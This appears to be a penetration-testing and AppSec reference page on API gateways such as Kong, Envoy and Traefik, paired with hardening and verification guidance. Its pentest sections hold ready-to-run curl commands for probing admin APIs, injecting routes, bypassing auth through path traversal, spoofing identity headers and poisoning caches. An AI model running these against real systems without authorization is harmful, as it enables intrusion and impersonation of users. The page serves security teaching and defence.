Skip to main content

API Gateway

An API gateway is the single entry point for a set of backend APIs. It routes requests, terminates TLS, authenticates callers, enforces rate limits, transforms payloads, and often aggregates multiple backend services into a single response. Common implementations: Kong, Tyk, Apache APISIX, AWS API Gateway, Azure API Management, Google Cloud API Gateway, Envoy Gateway, Traefik, nginx as a gateway.

The gateway sits between the internet and the application, and this position gives it a specific set of security properties. A correctly configured gateway centralizes authentication and rate limiting, so individual services do not have to implement them. A misconfigured gateway becomes the weakest link: it can pass unauthenticated requests to backends, allow route confusion (matching the wrong backend), leak internal service names through verbose errors, and become a vector for SSRF if it accepts upstream URLs from clients.

This file covers API gateways from both sides: the pentest track (detection, route confusion, auth bypass) and the AppSec track (configuration model, controls, verification).

Production context tags: [LAB] HTB/OSCP labs only, [PROD] safe for production, [PROD-RISK] use with care, [PROD-NO] do not run against production.

Table of Contents​

  1. What an API Gateway Is
  2. Detection
  3. Enumeration
  4. Attack Surface Map
  5. Common Variants
  6. Exploitation Recipes
  7. Post-Exploitation
  8. Risk Context (AppSec)
  9. Root Causes (AppSec)
  10. Preventive Controls (AppSec)
  11. Detection Controls (AppSec)
  12. Verification (AppSec)
  13. OSCP Notes
  14. Production Notes
  15. References

1. What an API Gateway Is​

An API gateway is a reverse proxy specialized for APIs. It sits between clients and backend services and provides:

  • Routing - map incoming URLs to backend services.
  • TLS termination - handle HTTPS, certificates, and HSTS.
  • Authentication - validate tokens, API keys, mTLS certificates.
  • Authorization - coarse-grained policies per route or consumer.
  • Rate limiting - per-consumer, per-route, per-IP.
  • Request/response transformation - header rewrite, body transform, protocol translation (HTTP to gRPC).
  • Observability - access logs, metrics, tracing.
  • Caching - for cacheable endpoints.
  • Load balancing - distribute traffic across backend instances.

1.1 Common implementations​

Open source:
  Kong              (nginx + Lua)
  Tyk               (Go)
  Apache APISIX     (nginx + etcd)
  Envoy Gateway     (Envoy + Kubernetes CRDs)
  Traefik           (Go, Kubernetes-native)
  KrakenD           (Go, declarative)
  nginx (as gateway, hand-rolled)

Cloud:
  AWS API Gateway
  Azure API Management
  Google Cloud API Gateway / Apigee
  Cloudflare API Shield

Service mesh sidecars:
  Envoy, Linkerd, Istio Ingress

1.2 The "trust boundary" model​

The gateway is the trust boundary. Everything behind it is "internal"; everything in front is "untrusted." This model is correct only if:

  1. The gateway validates every request.
  2. Backend services trust only requests that come from the gateway.
  3. No path exists from the internet to a backend that bypasses the gateway.

When any of these fail, the security model collapses. The most common failure is #3 - a backend service is accidentally exposed on a public IP or a public DNS name, and clients reach it directly.

1.3 Gateway-level auth​

Typical gateway-level authentication:

  • API key validation. The gateway looks up the key in a store and attaches identity headers (X-Consumer-ID, X-Consumer-Username).
  • JWT validation. The gateway verifies the signature and claims, then forwards the decoded identity in headers.
  • mTLS. The gateway validates the client certificate against a CA, then forwards the subject DN.
  • OAuth introspection. The gateway calls the authorization server to validate an opaque token.

The gateway then passes identity to the backend as headers. The backend is expected to trust these headers. If the backend is reachable without going through the gateway, an attacker can set these headers directly.

2. Detection​

API gateways are detected by:

  • Response headers characteristic of the gateway (Server: kong, Server: Tyk, x-amzn-RequestId).
  • A single hostname that fronts many different backend services (identifiable by response formats, cookies, error pages).
  • Consistent rate limiting across unrelated endpoints.
  • X-Forwarded-* headers in responses or reflected in errors.
  • Gateway-specific admin endpoints (/admin, :8001 for Kong admin API, :8080 for Tyk dashboard).

Quick detection​

# Look at response headers
curl -sI "http://$TARGET/api/" | grep -iE "server|x-amz|x-kong|tyk|envoy|traefik|apisix"

# Probe common gateway admin ports
for port in 8001 8002 8080 9000 9901; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "http://$TARGET:$port/")
  echo "$port: $code"
done

Expected output (Kong):

Server: kong/3.4.0
X-Kong-Upstream-Latency: 12
X-Kong-Proxy-Latency: 1

Quick reference table​

SignalMeaningNext step
Server: kongKong gatewayTry :8001 admin API
Server: TykTyk gatewayTry :8080 dashboard
x-amzn-RequestIdAWS API GatewayLook for stage names, /prod, /dev
x-envoy-*EnvoyCheck for admin port 9901
server: APISIXAPISIXCheck :9090 admin API (if misconfigured)
X-Forwarded-For, X-Real-IP echoedMisconfigTest header spoofing
Single host, many backendsGatewayEnumerate routes
Consistent rate limit across unrelated endpointsGatewayLook for a bypass path
Verbose error with service nameInternal leakNote service names for lateral recon

3. Enumeration​

3.1 Route enumeration​

Gateways route by path prefix, hostname, header, or method. Enumerate paths that map to different backends:

# Common gateway route prefixes
paths=(
  /api/
  /api/v1/
  /api/v2/
  /v1/
  /v2/
  /service1/
  /service2/
  /auth/
  /users/
  /admin/
  /internal/
  /_internal/
  /debug/
  /swagger/
  /openapi.json
)
for p in "${paths[@]}"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "http://$TARGET$p")
  echo "$p -> $code"
done

Look for endpoints that respond differently (200, 401, 403) - they exist.

3.2 Backend service discovery​

Gateways often leak backend service names through:

  • Verbose error pages ("upstream connect error ... service: users-api:8080").
  • X-Forwarded-Host and X-Forwarded-Server headers in responses.
  • Swagger / OpenAPI specs aggregated by the gateway (/openapi.json, /swagger-ui/).
  • Route listings in the admin API (if exposed).
# Try to trigger upstream errors
curl -s "http://$TARGET/api/v1/nonexistent-long-path" -I | grep -iE "server|x-upstream|trace"
curl -s "http://$TARGET/api/v1/../../etc/passwd" -I | grep -iE "server|x-upstream"

3.3 Admin API discovery​

Gateway admin APIs are high-value targets. They can list routes, modify routing, read consumer data, and sometimes execute scripts.

# Kong admin API (default port 8001)
curl -s "http://$TARGET:8001/" | head
curl -s "http://$TARGET:8001/routes"
curl -s "http://$TARGET:8001/services"
curl -s "http://$TARGET:8001/consumers"

# APISIX admin API (default port 9090)
curl -s "http://$TARGET:9090/apisix/admin/routes" -H "X-API-KEY: <key>"

# Traefik API (default port 8080)
curl -s "http://$TARGET:8080/api/rawdata"
curl -s "http://$TARGET:8080/api/http/routers"

# Envoy admin (default port 9901)
curl -s "http://$TARGET:9901/config_dump"
curl -s "http://$TARGET:9901/clusters"
curl -s "http://$TARGET:9901/server_info"

A misconfigured gateway with an exposed admin API is usually a direct path to full compromise.

3.4 Path traversal and route normalization​

Gateways and backends sometimes normalize paths differently. Test:

# Traversal
curl -s "http://$TARGET/api/v1/../../admin"
curl -s "http://$TARGET/api/v1/%2e%2e/%2e%2e/admin"
curl -s "http://$TARGET/api/v1/..%2f..%2fadmin"

# Case variations
curl -s "http://$TARGET/API/v1/users"
curl -s "http://$TARGET/Api/V1/Users"

# Trailing slash
curl -s "http://$TARGET/api/v1/users/"
curl -s "http://$TARGET/api/v1/users"

If the gateway matches one path to an "authenticated route" but the backend normalizes to a different path, the auth check may be bypassed.

3.5 Header-based routing​

Some gateways route by header (X-API-Version, Host, X-Service). Test by adding or changing headers:

curl -s "http://$TARGET/" -H "X-API-Version: 2"
curl -s "http://$TARGET/" -H "Host: internal.users.svc"
curl -s "http://$TARGET/" -H "X-Service: admin"

If the response differs, the gateway is routing by header, and header values are attacker-controlled unless validated.

4. Attack Surface Map​

LayerVectorWhat to test
Gateway adminExposed admin APIDefault ports (8001, 8080, 9090, 9901)
Gateway adminDefault credentialsadmin:admin, admin:changeme
RoutingRoute confusionPath normalization, case, trailing slash
RoutingHeader-based routingHost, X-API-Version, X-Service
AuthGateway vs backend mismatchPaths that bypass gateway auth but reach the backend
AuthIdentity header trustBackend trusts X-Consumer-ID, X-User-ID
AuthJWT validation skipRoutes that forward tokens without validation
Rate limitBypass via direct backendBackend has no limit if reachable directly
TLSDowngradeHTTP accepted alongside HTTPS
SSRFUpstream URL from clientX-Forwarded-Host used to build URLs
SSRFWebhook from gatewayGateway forwards to attacker-controlled URL
TransformationHeader injectionCRLF in header values
TransformationBody rewriteXML/SOAP/JSON transformation injection
CachingCache poisoningX-Forwarded-Host unkeyed in cache
CachingCache deception;.css, ;.js appended to private paths
LoggingVerbose errorsService names, IPs, internal paths
ProtocolHTTP/1 to HTTP/2Smuggling via upgrade
ProtocolgRPC-WebCORS misconfig on gateway

5. Common Variants​

5.1 Exposed gateway admin API​

Kong admin API on :8001, APISIX on :9090, Traefik on :8080, Envoy on :9901. No auth by default in many deployments. Full read/write access to the gateway configuration.

# Kong: list all routes, then add a new one
curl -s "http://$TARGET:8001/routes"
curl -s -X POST "http://$TARGET:8001/routes" \
  -d "paths[]=/backdoor" \
  -d "service.id=<service-id>"

CWE-306: Missing Authentication for Critical Function. OWASP 2021: A05 Security Misconfiguration.

5.2 Route confusion (gateway vs backend path normalization)​

The gateway matches /api/v1/* to an authenticated backend route. The backend normalizes .. and reaches /admin. The gateway allowed the request because the path prefix matched; the backend executes an admin action.

# Gateway sees /api/v1/.. and treats it as allowed
# Backend normalizes to /admin and executes
curl -s "http://$TARGET/api/v1/../../admin/users"
curl -s "http://$TARGET/api/v1/%2e%2e/%2e%2e/admin/users"

CWE-436: Interpretation Conflict. OWASP 2021: A01 Broken Access Control, A05.

5.3 Direct backend bypass​

The gateway enforces auth, rate limit, and WAF. The backend service is also reachable on a public IP or a public DNS name (e.g. users-api.internal.example.com resolves to a public IP, or the service is exposed via a separate cloud load balancer). An attacker reaches the backend directly, bypassing all gateway controls.

# Discover the backend's real address (DNS history, TLS cert transparency, error messages)
dig users-api.internal.example.com

# Call it directly with a spoofed identity header
curl -s "http://users-api.internal.example.com/api/admin" \
  -H "X-Consumer-ID: admin" \
  -H "X-User-Role: admin"

This is the single most damaging gateway vulnerability. It is also one of the most common.

CWE-441: Unintended Proxy or Intermediary. OWASP 2021: A05, A01.

5.4 Identity header trust​

The gateway sets X-Consumer-ID, X-User-ID, X-User-Role after validating auth. The backend trusts these headers without checking that the request came from the gateway. If the backend is reachable directly, an attacker sets the headers and impersonates any user.

CWE-290: Authentication Bypass by Spoofing. OWASP 2021: A01, A07.

5.5 Auth skip on specific routes​

Certain routes are public by design (/health, /metrics, /api/v1/public/*). If the public route is more permissive than the developer intended (e.g. /api/v1/public/../admin), the auth skip can be exploited.

# Test whether the skip pattern matches more than intended
curl -s "http://$TARGET/api/v1/public/../admin"
curl -s "http://$TARGET/api/v1/public/%2e%2e/admin"

CWE-436. OWASP 2021: A01.

5.6 Verbose error pages leak internal topology​

The gateway returns a detailed error with upstream service names, IP addresses, versions. Useful for reconnaissance.

502 Bad Gateway
upstream connect error or disconnect/reset before headers. reset reason: connection failure
  service: users-api.prod.svc.cluster.local:8080
  cluster: users-api

CWE-200: Exposure of Sensitive Information. OWASP 2021: A05.

5.7 SSRF via client-controlled upstream URL​

Some gateways accept an upstream URL from the request (e.g. for webhooks, or proxy-as-a-service features). If the URL is attacker-controlled and not validated against an allowlist, the gateway becomes an SSRF vector - often with elevated network access.

CWE-918: SSRF. OWASP 2021: A10.

5.8 Cache poisoning via X-Forwarded-Host​

The gateway caches by URL only, but the response body is built using X-Forwarded-Host. An attacker sends a request with X-Forwarded-Host: evil.example, the response includes https://evil.example/... in the body, and the cache stores it for all users.

CWE-444 / CWE-436. OWASP 2021: A05.

5.9 Gateway TLS downgrade​

The gateway accepts both HTTP and HTTPS. Clients that use HTTP get redirected, but the redirect happens after the credentials are sent in cleartext. The correct configuration is to refuse HTTP on the same port and to serve HTTP only on a redirect port with HSTS.

CWE-319. OWASP 2021: A02.

5.10 Default admin credentials​

Kong, Tyk, and many self-hosted gateways ship with default credentials for their admin UI (admin/admin, admin/changeme). These are frequently unchanged in production.

CWE-798: Use of Hard-coded Credentials. OWASP 2021: A05, A07.

5.11 Header injection via transformation​

Gateway transformation rules that rewrite headers can be tricked into injecting CRLF if the input is not sanitized. Modern gateways sanitize by default; legacy configurations may not.

CWE-113: HTTP Response Splitting. OWASP 2021: A03.

5.12 HTTP/2 to HTTP/1 downgrade smuggling​

The gateway speaks HTTP/2 to the client and HTTP/1.1 to the backend. A malicious HTTP/2 request with a Content-Length header and a request body can be smuggled to the backend as two requests. Applies to gateways that do not sanitize CL/TE on the downgrade.

CWE-444. OWASP 2021: A03, A05.

6. Exploitation Recipes​

6.1 Exposed Kong admin API to route injection​

  1. Detect Kong by the Server: kong response header.
  2. Probe the admin API on the default port.
curl -s "http://$TARGET:8001/" | head
  1. List services and routes.
curl -s "http://$TARGET:8001/services" | python3 -m json.tool
curl -s "http://$TARGET:8001/routes" | python3 -m json.tool
  1. Add a new route that points to an internal service the attacker wants to reach. For example, route /exfil to an internal admin service.
# (Simplified - real payload depends on the Kong version and existing services)
curl -s -X POST "http://$TARGET:8001/routes" \
  --data "name=exfil" \
  --data "paths[]=/exfil" \
  --data "service.id=<internal-admin-service-id>"
  1. Reach the internal service via /exfil.

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

6.2 Route confusion to admin​

  1. Identify an authenticated route prefix.
curl -s -o /dev/null -w "%{http_code}\n" "http://$TARGET/api/v1/users"
# 200
curl -s -o /dev/null -w "%{http_code}\n" "http://$TARGET/admin/users"
# 403
  1. Try path normalization tricks that the gateway allows but the backend interprets differently.
curl -s "http://$TARGET/api/v1/../admin/users"
curl -s "http://$TARGET/api/v1/%2e%2e/admin/users"
curl -s "http://$TARGET/api/v1/users/../../admin/users"
curl -s "http://$TARGET/api/v1/users%2f..%2f..%2fadmin/users"
  1. If any returns 200 with admin data, the gateway normalizes paths differently than the backend.

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

6.3 Direct backend bypass with identity header spoofing​

  1. Find the backend's real address. Sources: DNS history (SecurityTrails, crt.sh), TLS certificates, error pages, X-Forwarded-Server responses, or brute-force of common service names.
# Certificate transparency reveals service names
curl -s "https://crt.sh/?q=%25.example.com&output=json" | python3 -m json.tool | grep name_value
  1. Call the backend directly, bypassing the gateway.
curl -s "http://users-api.internal.example.com/api/admin" \
  -H "X-Consumer-ID: 1" \
  -H "X-User-Role: admin" \
  -H "X-User-ID: 1"
  1. If the backend trusts these headers, the attacker has admin access without going through the gateway's auth.

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

6.4 Verbose error page to internal topology​

  1. Trigger an upstream error.
curl -s "http://$TARGET/api/v1/nonexistent-force-error"
curl -s "http://$TARGET/api/v1/%00"
  1. Parse the error for service names, IPs, ports, versions.
service: users-api.prod.svc.cluster.local:8080
cluster: users-api
upstream: 10.0.5.42
  1. Use the topology for lateral movement.

6.5 Cache poisoning via X-Forwarded-Host​

  1. Send a request with X-Forwarded-Host: evil.example.
curl -s "http://$TARGET/api/v1/config" -H "X-Forwarded-Host: evil.example"

  1. Observe if the response body contains https://evil.example links.

  2. If yes, the response is likely cached. Check with a second request without the header.

curl -s "http://$TARGET/api/v1/config"
# If the body still contains evil.example, the cache is poisoned

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

7. Post-Exploitation​

Once the gateway is compromised:

  • Full routing control. If the admin API is writable, the attacker can route paths to any reachable backend, including internal-only services.
  • Credential harvesting. The gateway sees every request; a compromised gateway can log Authorization headers, JWTs, API keys.
  • Backend impersonation. Identity header injection allows impersonating any consumer.
  • TLS interception. If the gateway is compromised, the attacker sees all decrypted traffic.
  • Lateral movement via SSRF. Gateways usually have network access to internal services. An SSRF via a gateway reaches further than an SSRF via a normal app.
  • Denial of service. Route all traffic to a black hole, or inject config that breaks routing.

For the report: what the gateway exposed, what was reachable through it, what bypasses were possible.

8. Risk Context (AppSec)​

Gateway vulnerabilities map to:

StandardGateway-specific manifestation
OWASP 2021 A01 Broken Access ControlRoute confusion, identity header trust, backend bypass
OWASP 2021 A02 Cryptographic FailuresTLS downgrade on gateway, HTTP alongside HTTPS
OWASP 2021 A03 InjectionCRLF in header transformation, smuggling on downgrade
OWASP 2021 A05 Security MisconfigurationExposed admin API, default credentials, verbose errors
OWASP 2021 A07 Auth FailuresMissing auth on admin API, permissive gateway-level auth
OWASP 2021 A10 SSRFClient-controlled upstream, X-Forwarded-Host
OWASP API 2023 API1 BOLARoute confusion reaching peer resources
OWASP API 2023 API5 BFLAAuth skip on a public route that reaches a privileged one
OWASP API 2023 API8 Security MisconfigurationAll gateway misconfig classes

9. Root Causes (AppSec)​

Recurring root causes for gateway vulnerabilities:

  1. Admin API exposed. Gateways bind admin APIs to 0.0.0.0 for convenience. In container orchestration, "internal" is often not internal because the network is flat.
  2. Default credentials. Admin UIs and APIs ship with defaults; production deployments do not always change them.
  3. Backend directly reachable. The gateway is deployed, but the backend is also exposed on a public IP, public DNS name, or a second load balancer. This is the security model collapse point.
  4. Trusting identity headers. The backend trusts X-Consumer-ID, X-User-ID without verifying the source. If the backend is reachable directly, this is identity spoofing.
  5. Path normalization mismatch. The gateway normalizes /api/v1/../admin differently than the backend. Auth checks on the gateway do not protect the backend path the backend actually serves.
  6. Auth skip patterns. Routes marked "public" use prefix matching that also matches unintended paths.
  7. Verbose errors. Detailed errors with service names, IPs, and versions leak the internal topology.
  8. Client-controlled upstream. Any feature that lets the client specify where the gateway forwards to must have strict allowlist validation.

10. Preventive Controls (AppSec)​

Admin plane:

  • Bind admin API to localhost or an internal interface only. Never 0.0.0.0.
  • Require authentication on the admin API. No default credentials; strong keys, rotatable.
  • Network-segment the admin plane. Separate VLAN, separate authentication, separate audit log.
  • Alert on admin API access. Admin API calls are rare and should be logged and monitored.

Data plane:

  • Prevent backend bypass. Backends must be reachable only from the gateway. Enforce at the network layer: security groups, Kubernetes NetworkPolicy, private subnets, service mesh mTLS.
  • Never expose a backend on a public IP or public DNS name. If a backend is reachable directly, the gateway provides no security.
  • Reject identity headers from external sources. The gateway strips X-Consumer-ID, X-User-ID, X-User-Role, X-Forwarded-* from incoming requests and re-adds them after authentication. A request arriving at the backend without the gateway's mTLS certificate or sidecar identity must be rejected.
  • Path normalization consistency. The gateway and the backend must agree on how paths are normalized before matching. Test both with the same set of inputs.
  • Auth skip patterns use exact match, not prefix. A "public" route must match exactly the intended URL.

Transformation and caching:

  • Sanitize header values on transformation rules (strip CRLF, allowlist characters).
  • Cache key includes all request attributes used to build the response (Host, X-Forwarded-Host, Accept-Language, etc.). Otherwise cache poisoning is trivial.
  • Reject unexpected headers where possible.

TLS:

  • HTTPS-only on the data plane. Plain HTTP either refused or redirected with HSTS.
  • Strong TLS configuration (1.2+, modern ciphers, no renegotiation).

Observability:

  • Verbose errors disabled in production. Return generic 502/503 with a correlation ID; log the detail server-side.
  • Alert on admin API access, on sudden route changes, on 5xx spikes.

11. Detection Controls (AppSec)​

Signals worth monitoring:

  • Admin API access from non-expected source IPs.
  • Admin API route changes (new routes, modified upstreams) - this should be a rare event tied to a deployment.
  • Default credentials attempted on the admin UI.
  • Path traversal patterns in request paths (.., %2e%2e, mixed encodings).
  • X-Forwarded-Host, X-Forwarded-For set to unusual values.
  • Identity headers (X-Consumer-ID, X-User-ID) present in requests arriving at the gateway (they should be stripped).
  • Backend services with inbound connections not originating from the gateway.
  • Cache miss rates that spike after a cache-poisoning attempt.
  • Verbose error page access patterns.

12. Verification (AppSec)​

Concrete checks:

ControlVerification
Admin API not exposedcurl http://gateway:8001/ (from outside) returns connection refused or 401
Admin API authcurl http://gateway:8001/routes without credentials returns 401
No default credentialsadmin/admin and admin/changeme rejected
Backend not reachable directlycurl http://users-api.example.com/ returns connection refused or requires mTLS
Identity headers strippedSend X-Consumer-ID: admin; the gateway must strip it before forwarding
Path normalizationSend /api/v1/../admin; expect 404 or 403, not the admin resource
Auth skip exact matchSend /api/v1/public/../admin; expect 404 or 403
Header injectionSend a header with CRLF; expect rejection
Cache key includes HostSend X-Forwarded-Host: evil; expect the cached response not to include it
TLS enforcedcurl http://gateway/api/... returns 301 to HTTPS, no plaintext response
Verbose errors disabledTrigger a 502; expect a generic page, not a service name

Cross-reference: OWASP ASVS 4.0 V1 (Architecture), V4 (Access Control), V7 (Error Handling), V9 (Communications), V14 (Configuration). OWASP API Security Top 10:2023 API5, API8. See ../../01 Web/09 OWASP Top 10/A01-Broken-Access-Control.md for route confusion and ../../01 Web/08 Vulnerabilities/SSRF.md for the gateway-SSRF path.

13. OSCP Notes​

API gateways appear on HTB boxes with microservice architectures:

  • Identify the gateway. Response headers (Server: kong, x-envoy-*, x-amzn-RequestId).
  • Probe admin ports. 8001 (Kong), 8080 (Traefik), 9090 (APISIX), 9901 (Envoy). If the admin API responds, you likely own the routing.
  • Look for verbose errors. Trigger a 502; the error may leak backend service names and IPs.
  • Test path normalization. /api/v1/../admin, %2e%2e, mixed. Cheap, sometimes wins.
  • Look for the backend's real address. Certificate transparency (crt.sh), DNS history, error pages. If you can reach the backend directly, the gateway auth is irrelevant.
  • Try identity headers. X-Consumer-ID, X-User-ID, X-User-Role on requests to the backend or gateway. Some gateways do not strip incoming ones.

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

14. Production Notes​

PracticeVerdict
Admin API bound to localhost / internal onlyRequired
Admin API authenticated (no defaults)Required
Admin API audit-loggedRequired
Backend reachable only from the gatewayRequired
Identity headers stripped on ingressRequired
Path normalization consistent gateway/backendRequired
Public route patterns exact-matchRequired
Cache key includes Host and X-Forwarded-HostRequired
Header sanitization on transformationRequired
HTTPS-only on data planeRequired
Verbose errors disabledRequired
Alert on admin API accessRecommended
Alert on route changesRecommended
Gateway admin API on 0.0.0.0Never
Default admin credentialsNever
Backend on public IP or public DNSNever
Trusting X-Consumer-ID from internetNever

15. References​